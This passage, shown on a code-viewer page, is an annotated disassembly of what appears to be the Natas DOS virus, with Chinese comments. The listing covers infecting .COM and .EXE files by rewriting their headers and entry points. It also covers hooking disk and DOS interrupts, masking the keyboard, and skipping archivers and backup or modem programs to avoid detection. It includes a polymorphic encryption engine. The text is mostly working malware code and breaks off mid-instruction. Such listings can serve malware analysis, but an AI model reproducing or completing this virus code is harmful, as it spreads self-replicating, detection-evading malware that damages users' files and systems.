📄 natas
字号:
9E80:092D 75E5 JNZ 0914
9E80:092F 2B5402 SUB DX,[SI+02] ;文件有覆盖部分不传染
9E80:0932 75E0 JNZ 0914
9E80:0934 B88812 MOV AX,1288
9E80:0937 03C5 ADD AX,BP
9E80:0939 13D7 ADC DX,DI ;DX:AX = 新文件长
9E80:093B F7F1 DIV CX
9E80:093D 0BD2 OR DX,DX
9E80:093F 7401 JZ 0942
9E80:0941 40 INC AX
9E80:0942 894404 MOV [SI+04],AX
9E80:0945 895402 MOV [SI+02],DX ;新映象长度
9E80:0948 BB90E9 MOV BX,E990
9E80:094B 33C9 XOR CX,CX
9E80:094D 3BEB CMP BP,BX
9E80:094F 7205 JB 0956
9E80:0951 83ED10 SUB BP,+10
9E80:0954 E2F7 LOOP 094D
9E80:0956 83FF0F CMP DI,+0F ;文件长 > 640K 不传染
9E80:0959 77B9 JA 0914
9E80:095B 91 XCHG AX,CX ;文件长低位 > E990 部分
9E80:095C B104 MOV CL,04 ;转移到 DI
9E80:095E D3CF ROR DI,CL ;
9E80:0960 0BC0 OR AX,AX
9E80:0962 7404 JZ 0968
9E80:0964 2BF8 SUB DI,AX ;DIx10 + BP = 文件长
9E80:0966 73AC JNB 0914
9E80:0968 2B7C08 SUB DI,[SI+08] ;减去文件头长
9E80:096B 55 PUSH BP
9E80:096C 81C5DA11 ADD BP,11DA ;新入口 : 11DA
9E80:0970 896C14 MOV [SI+14],BP ;新 CS:IP
9E80:0973 897C16 MOV [SI+16],DI
9E80:0976 81C50002 ADD BP,0200 ;新 CS:IP+0200
9E80:097A 896C10 MOV [SI+10],BP ;为新堆栈
9E80:097D 897C0E MOV [SI+0E],DI
9E80:0980 BD0080 MOV BP,8000
9E80:0983 D3FB SAR BX,CL ;BX = E990,CL=4
9E80:0985 8B440A MOV AX,[SI+0A] ;分配最小内存
9E80:0988 2BC3 SUB AX,BX
9E80:098A 7303 JNB 098F
9E80:098C 89440A MOV [SI+0A],AX
;=======================================================================
9E80:098F 58 POP AX ;.COM 由此入
9E80:0990 E83F01 CALL 0AD2 ;产生加密代码
9E80:0993 55 PUSH BP
9E80:0994 9D POPF
9E80:0995 7213 JB 09AA
9E80:0997 E81100 CALL 09AB ;取系统文件表项
9E80:099A 894D15 MOV [DI+15],CX ;文件指针移动到文件头
9E80:099D 894D17 MOV [DI+17],CX
9E80:09A0 B440 MOV AH,40
9E80:09A2 BA8812 MOV DX,1288
9E80:09A5 0E PUSH CS
9E80:09A6 1F POP DS
9E80:09A7 E86900 CALL 0A13 ;写新文件头 18H 字节
9E80:09AA C3 RET
;=======================================================================
;取系统文件表项于 ES:DI
;返回 CY 不传染, NZ = 已传染
9E80:09AB 50 PUSH AX
9E80:09AC 53 PUSH BX
9E80:09AD B82012 MOV AX,1220
9E80:09B0 2E8B1EC30A MOV BX,CS:[0AC3]
9E80:09B5 CD2F INT 2F ;取文件表地址
9E80:09B7 721D JB 09D6
9E80:09B9 B81612 MOV AX,1216
9E80:09BC 268A1D MOV BL,ES:[DI]
9E80:09BF 80FBFF CMP BL,FF
9E80:09C2 F5 CMC
9E80:09C3 7411 JZ 09D6
9E80:09C5 CD2F INT 2F ;取系统文件表项
9E80:09C7 720D JB 09D6
9E80:09C9 06 PUSH ES
9E80:09CA 1F POP DS
9E80:09CB F6450580 TEST Byte Ptr [DI+05],80
9E80:09CF F5 CMC ;先设置为 CY
9E80:09D0 7504 JNZ 09D6 ;远程文件不传染
9E80:09D2 F6451080 TEST Byte Ptr [DI+10],80
9E80:09D6 5B POP BX ;判是否已传染
9E80:09D7 58 POP AX ;没有传染返回 NZ,NC
9E80:09D8 C3 RET
;==========================================================================
;切换 INT 13 / INT 14 / INT 15 / INT 40
;(DOS INT 与 BIOS 初始 INT 之间)
9E80:09D9 50 PUSH AX
9E80:09DA 53 PUSH BX
9E80:09DB 52 PUSH DX
9E80:09DC 1E PUSH DS
9E80:09DD B013 MOV AL,13
9E80:09DF BFEB13 MOV DI,13EB
9E80:09E2 0E PUSH CS
9E80:09E3 1F POP DS
9E80:09E4 E8DCF6 CALL 00C3 ;取中断向量
9E80:09E7 8CC2 MOV DX,ES ;于 ES:BX
9E80:09E9 871D XCHG BX,[DI] ;保存于 13EB
9E80:09EB FC CLD
9E80:09EC AF SCASW
9E80:09ED 87D3 XCHG DX,BX
9E80:09EF 871D XCHG BX,[DI]
9E80:09F1 AF SCASW
9E80:09F2 8EDB MOV DS,BX
9E80:09F4 E8DDF6 CALL 00D4 ;设置 BIOS 初始值
9E80:09F7 3C15 CMP AL,15
9E80:09F9 B015 MOV AL,15
9E80:09FB 7305 JNB 0A02
9E80:09FD 83C704 ADD DI,+04
9E80:0A00 EBE0 JMP 09E2
9E80:0A02 B040 MOV AL,40
9E80:0A04 74DC JZ 09E2
9E80:0A06 1F POP DS
9E80:0A07 5A POP DX
9E80:0A08 5B POP BX
9E80:0A09 58 POP AX
9E80:0A0A C3 RET
;==========================================================================
;0A0B 读文件头 18 字节到 1270
;0A0E 写文件头 18 字节
9E80:0A0B B43F MOV AH,3F
9E80:0A0D 3DB440 CMP AX,40B4
9E80:0A10 BA7012 MOV DX,1270
9E80:0A13 B91800 MOV CX,0018
9E80:0A16 E8A900 CALL 0AC2
9E80:0A19 7202 JB 0A1D
9E80:0A1B 2BC1 SUB AX,CX
9E80:0A1D C3 RET
;==========================================================================
9E80:0A1E B024 MOV AL,24 ;设置新 INT 24
9E80:0A20 2EC516E713 LDS DX,CS:[13E7]
9E80:0A25 E8ACF6 CALL 00D4
9E80:0A28 E421 IN AL,21 ;屏蔽键盘
9E80:0A2A 24FD AND AL,FD
9E80:0A2C E621 OUT 21,AL
9E80:0A2E C3 RET
;==========================================================================
9E80:0A2F 894610 MOV [BP+10],AX
9E80:0A32 9C PUSHF
9E80:0A33 8F4612 POP [BP+12]
9E80:0A36 C3 RET
;=========================================================================
;判断 INT 21 是否在压缩程序中调用
;如果在压缩程序中调用, 则欺骗功能不使用
9E80:0A37 50 PUSH AX
9E80:0A38 51 PUSH CX
9E80:0A39 56 PUSH SI
9E80:0A3A 57 PUSH DI
9E80:0A3B 06 PUSH ES
9E80:0A3C B002 MOV AL,02
9E80:0A3E 0AC0 OR AL,AL
9E80:0A40 753E JNZ 0A80
9E80:0A42 E84B00 CALL 0A90 ;取当前执行文件名
9E80:0A45 268B05 MOV AX,ES:[DI] ;于 ES:DI
9E80:0A48 3D4152 CMP AX,5241 ; "AR" = ARJ
9E80:0A4B 7433 JZ 0A80
9E80:0A4D 3D4C48 CMP AX,484C ; "LH" = LHA
9E80:0A50 742E JZ 0A80
9E80:0A52 3D504B CMP AX,4B50 ; "PK" = PKZIP
9E80:0A55 7429 JZ 0A80 ;如果是以上文件,返回 ZR
9E80:0A57 B90200 MOV CX,0002
9E80:0A5A BE860A MOV SI,0A86
9E80:0A5D 51 PUSH CX
9E80:0A5E 57 PUSH DI
9E80:0A5F B108 MOV CL,08
9E80:0A61 2EAC LODSB CS:
9E80:0A63 346C XOR AL,6C ;判断是否 BACKUP
9E80:0A65 F2 REPNZ ;或 MODEM
9E80:0A66 AE SCASB
9E80:0A67 7510 JNZ 0A79 ;0A86 及 0A8B
9E80:0A69 80F903 CMP CL,03 ;处为加密的字符串
9E80:0A6C 720B JB 0A79 ;BACK 及 MODEM
9E80:0A6E B104 MOV CL,04
9E80:0A70 2EAC LODSB CS:
9E80:0A72 346C XOR AL,6C
9E80:0A74 7403 JZ 0A79
9E80:0A76 AE SCASB
9E80:0A77 E1F7 LOOPZ 0A70
9E80:0A79 BE8B0A MOV SI,0A8B
9E80:0A7C 5F POP DI
9E80:0A7D 59 POP CX
9E80:0A7E E0DD LOOPNZ 0A5D
9E80:0A80 07 POP ES
9E80:0A81 5F POP DI
9E80:0A82 5E POP SI
9E80:0A83 59 POP CX
9E80:0A84 58 POP AX
9E80:0A85 C3 RET
9E80:0A86 2E 2D-2F 27 6C 21 23 28 29 21 ..........
;=======================================================================
;从 MCB 中取执行文件名到 ES:DI
9E80:0A90 50 PUSH AX
9E80:0A91 53 PUSH BX
9E80:0A92 B462 MOV AH,62
9E80:0A94 E82E00 CALL 0AC5 ;当前 PSP
9E80:0A97 4B DEC BX ;执行程序的 MCB
9E80:0A98 8EC3 MOV ES,BX
9E80:0A9A BF0800 MOV DI,0008 ;MCB:0008 = 执行文件名
9E80:0A9D FC CLD
9E80:0A9E 5B POP BX
9E80:0A9F 58 POP AX
9E80:0AA0 C3 RET
;==================================================================
;取 DTA 地址
9E80:0AA1 B42F MOV AH,2F
9E80:0AA3 E81F00 CALL 0AC5
9E80:0AA6 06 PUSH ES
9E80:0AA7 1F POP DS
9E80:0AA8 C3 RET
;==================================================================
病毒执行 INT 13 ???
9E80:0AA9 E838F7 CALL 01E4
9E80:0AAC 9C PUSHF
9E80:0AAD 2EFF1EEF13 CALL FAR CS:[13EF]
9E80:0AB2 E82FF7 CALL 01E4
9E80:0AB5 C3 RET
;===================================================================
9E80:0AB6 F6C280 TEST DL,80
9E80:0AB9 7410 JZ 0ACB
9E80:0ABB 9C PUSHF
9E80:0ABC 2EFF1EEB13 CALL FAR CS:[13EB]
9E80:0AC1 C3 RET
9E80:0AC2 BB0100 MOV BX,0001
9E80:0AC5 9C PUSHF
9E80:0AC6 0E PUSH CS
9E80:0AC7 E8F5FD CALL 08BF
9E80:0ACA C3 RET
9E80:0ACB 9C PUSHF
9E80:0ACC 2EFF1EF713 CALL FAR CS:[13F7]
9E80:0AD1 C3 RET
;========================================================================
; 产生变型加密代码
; 输入 : AX = IP 入口 BP = 0 (.COM) = 8000 (.EXE)
;========================================================================
; 子程序中用到的一些数据
; BP : 8-15 位用作标志 0-7 位用作寄存器是否已使用标志,一位代表一个寄存器
; BIT 8 (0100)==不执行产生随机代码子程序
; BIT 9 (0200)==产生指令时保存指令到 [1410]
; BIT 10(0400)==在变型解密算法中,CX为密匙寄存器,0C7C子程序已执行
; BIT 11(0800)==随机无效指令中不能改变 CY 标志
; BIT 12(1000)==
; BIT 13(2000)==在长度寄存器为CX时,寄存器减一子程序中CX未减
; BIT 14(4000)==?????
; BIT 15(8000)==被传染程序为 .EXE 文件
; [11A3] = 密匙值
; [1104] = 入口 IP 值 [1406] = 解密指针偏移
; [1108] = 加密算法指令指针 [110A] = 加密算法指令结束指针
; [140C] = 密匙寄存器 [140D] = 计数寄存器
; [140E] = 指针寄存器之一 [140F] = 指针寄存器之二
; [1410] = 上个随机指令
9E80:0AD2 A30414 MOV [1404],AX
9E80:0AD5 BFDA11 MOV DI,11DA ;加密代码存放于 11DA
9E80:0AD8 BB330E MOV BX,0E33 ;按随机顺序执行
9E80:0ADB B9210E MOV CX,0E21 ;0E33 0E21 和 0E40
9E80:0ADE BA400E MOV DX,0E40 ;产生密匙/计数/指针
9E80:0AE1 BE5311 MOV SI,1153 ;三种寄存器的原始数据
9E80:0AE4 81CDEF00 OR BP,00EF
9E80:0AE8 E84506 CALL 1130 ;随机执行
9E80:0AEB 57 PUSH DI
9E80:0AEC 57 PUSH DI
9E80:0AED BE9E11 MOV SI,119E
9E80:0AF0 BFA012 MOV DI,12A0
9E80:0AF3 B93500 MOV CX,0035
9E80:0AF6 F3 REPZ
9E80:0AF7 A4 MOVSB
9E80:0AF8 C7060814AC12 MOV Word Ptr [1408],12AC ;加密算法代码指针
9E80:0AFE 5F POP DI
9E80:0AFF BBA80C MOV BX,0CA8 ;随机执行 0CA8/0D9E/0C7C/0C57
9E80:0B02 B99E0D MOV CX,0D9E ;计数寄存器加一
9E80:0B05 BA7C0C MOV DX,0C7C ;指针寄存器加二
9E80:0B08 BE570C MOV SI,0C57 ;指针寄存器处数据解密
9E80:0B0B E82206 CALL 1130 ;随机决定是否每次改变密匙
9E80:0B0E B80200 MOV AX,0002
9E80:0B11 50 PUSH AX
9E80:0B12 E85106 CALL 1166
9E80:0B15 58 POP AX
9E80:0B16 7406 JZ 0B1E
9E80:0B18 F7C50040 TEST BP,4000
9E80:0B1C 755C JNZ 0B7A
9E80:0B1E E84506 CALL 1166
9E80:0B21 7406 JZ 0B29
9E80:0B23 F7C50020 TEST BP,2000
9E80:0B27 7551 JNZ 0B7A
;===========================================================================
; 测试计数寄存器分支之一: ADD R_计数,0
9E80:0B
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -